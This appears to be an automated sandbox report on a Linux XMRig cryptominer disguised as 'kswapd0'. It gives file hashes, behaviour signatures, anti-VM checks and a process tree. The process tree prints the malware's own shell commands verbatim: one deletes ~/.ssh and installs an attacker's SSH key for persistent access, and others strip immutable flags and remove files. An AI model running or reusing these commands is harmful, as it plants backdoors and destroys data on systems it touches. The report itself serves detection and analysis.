Overview

overview

10

Static

static

7

kswapd0

ubuntu-24.04-amd64

10

Analysis

  • max time kernel
    148s
  • max time network
    150s
  • platform
    ubuntu-24.04_amd64
  • resource
    ubuntu2404-amd64-20240523-en
  • resource tags

    arch:amd64arch:i386image:ubuntu2404-amd64-20240523-enkernel:6.8.0-31-genericlocale:en-usos:ubuntu-24.04-amd64system
  • submitted
    31-07-2024 06:35

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    kswapd0

  • Size

    2.1MB

  • MD5

    3b928d87be14aa661b14bb1c29636650

  • SHA1

    f2b4bc2244ea8596a2a2a041308aa75088b6bbd5

  • SHA256

    083e706194a92aa96825007dbcbaff4f64a0200c77a70cde17974be6716886e6

  • SHA512

    f98f718fce0a1e6312c96ab74929a8c84cf5b720b0f2a4578e8fadb55d0d002f56f90b092a863fa1f5a99a5441fff583920b0e0e0ff34d28a7166d29446421bc

  • SSDEEP

    49152:sexAtJHwlST44nnsrQTygWfeCD/AWgZYAIFtvXRPiD9mX:seVSTLsOyxD/rgZz4vpiD9mX

Score
10/10
xmrig_linuxantivmminer

Malware Config

Signatures

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

    minerxmrig_linux
  • XMRig Miner payload 1 IoCs
    miner
  • Attempts to change immutable files 2 IoCs

    Modifies inode attributes on the filesystem to allow changing of immutable files.

  • Checks hardware identifiers (DMI) 1 TTPs 4 IoCs

    Checks DMI information which indicate if the system is a virtual machine.

    antivm
  • Reads hardware information 1 TTPs 14 IoCs

    Accesses system info like serial numbers, manufacturer names etc.

  • Checks CPU configuration 1 TTPs 1 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

    antivm
  • Reads CPU attributes 1 TTPs 45 IoCs
  • Enumerates kernel/hardware configuration 1 TTPs 23 IoCs

    Reads contents of /sys virtual filesystem to enumerate system information.

  • Reads runtime system information 5 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 2 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/kswapd0
    /tmp/kswapd0
    1⤵
    • Checks hardware identifiers (DMI)
    • Reads hardware information
    • Checks CPU configuration
    • Reads CPU attributes
    • Enumerates kernel/hardware configuration
    • Reads runtime system information
    • Writes file to tmp directory
    PID:2471
    • /bin/sh
      sh -c "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"
      2⤵
        PID:2473
      • /bin/sh
        sh -c "chattr -ia ~/.xmrig.json;lockr -ia ~/.xmrig.json; rm -rf ~/.xmrig.json; chattr -ia ~/.config/xmrig.json; lockr -ia ~/.config/xmrig.json; rm -rf ~/.config/xmrig.json"
        2⤵
          PID:2474
          • /usr/bin/chattr
            chattr -ia "~/.xmrig.json"
            3⤵
            • Attempts to change immutable files
            PID:2475
          • /usr/bin/rm
            rm -rf "~/.xmrig.json"
            3⤵
              PID:2476
            • /usr/bin/chattr
              chattr -ia "~/.config/xmrig.json"
              3⤵
              • Attempts to change immutable files
              PID:2477
            • /usr/bin/rm
              rm -rf "~/.config/xmrig.json"
              3⤵
                PID:2478

          Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • /tmp/cert_key.pem
            Filesize

            1KB

            MD5

            24a7512cf3d1ac352bdfad5683e425d5

            SHA1

            39cbea6689b1beabd379ba3fa369278f1bb08e7e

            SHA256

            cfb89a2b6ac33c438686ccd4acfb7bbfe1809f7f1da2934069cc04891c1ebb78

            SHA512

            0c4b8c333d0168fa76d4e9af2d65d3c2618427f10ec420a6d0aedf8b2ece3a13bd6e744e5ef5b2d713d4236419a21a72948a321287fd0525f7239b6f51c74402

            Download Submit